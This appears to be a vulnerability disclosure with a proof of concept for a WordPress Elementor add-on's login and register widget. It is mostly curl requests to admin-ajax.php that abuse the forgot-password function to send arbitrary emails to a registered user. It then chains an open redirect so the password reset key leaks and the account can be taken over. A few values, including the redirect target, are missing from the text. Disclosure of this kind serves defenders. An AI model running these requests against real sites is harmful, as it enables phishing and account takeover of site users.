The vulnerable code leading to the issue is inside the function "theplus_ajax_forgot_password_ajax" in "theplus_elementor_addon/includes/plus_addon.php". 

To be exploitable, the widget 'WP Login & Register' should be activated and present on a page of the wordpress site

First, you should go to the page where the widget is present and open the developer console to get the nonce called "tp_user_lost_password_nonce". 

Once you get the nonce, you can exploit the function with the following request: 
curl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user_login=john&f_p_opt=f_p_frontend&nonce=nonce_you_got&tceol[tp_cst_email_lost_opt]=yes&tceol[tp_cst_email_lost_subject]=Hey&tceol[tp_cst_email_lost_message]=Hello from my wordpress site'

where john is a registered user on the wordpress site. John will received an email with Subject 'Hey' and body 'Hello from my wordpress site'

If we include โ€˜[tplr_link]โ€™ in the email body, it will be replaced by a password reset link, for example:

curl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user_login=john&f_p_opt=f_p_frontend&nonce=nonce_you_got&tceol[tp_cst_email_lost_opt]=yes&tceol[tp_cst_email_lost_subject]=Hey&tceol[tp_cst_email_lost_message]=Link : [tplr_link]'

John will receive an email with subject 'Hey' and body 'Link : http://localhost/wordpress/wp-login.php?action=theplusrp&key=9aMCdd1ugxQc65dWot3i&redirecturl=&forgoturl=&login=john'

It is possible to chain this vulnerability with an open redirect reported separately, with the request :

curl -isk -X 'POST' 'http://localhost/wordpress/wp-admin/admin-ajax.php' --data 'action=theplus_ajax_forgot_password&user_login=john&f_p_opt=f_p_frontend&nonce=nonce_you_got&tceol[tp_cst_email_lost_opt]=yes&tceol[tp_cst_email_lost_subject]=Hey&tceol[tp_cst_email_lost_message]=Hello, check our new post : [tplr_link]&resetpageurl='

John will receive an email with body :
'Hello, check our new post : http://localhost/wordpress/wp-login.php?action=theplusrp&key=9aMCdd1ugxQc65dWot3i&redirecturl='

If he clicks the link, he will be redirected to

So the attacker gets the key to reset john password, he can do so by visiting the page where the widget is present with the parameters he got, for example : http://localhost/wordpress/hello-world/?action=theplusrp&login=john&key=9aMCdd1ugxQc65dWot3i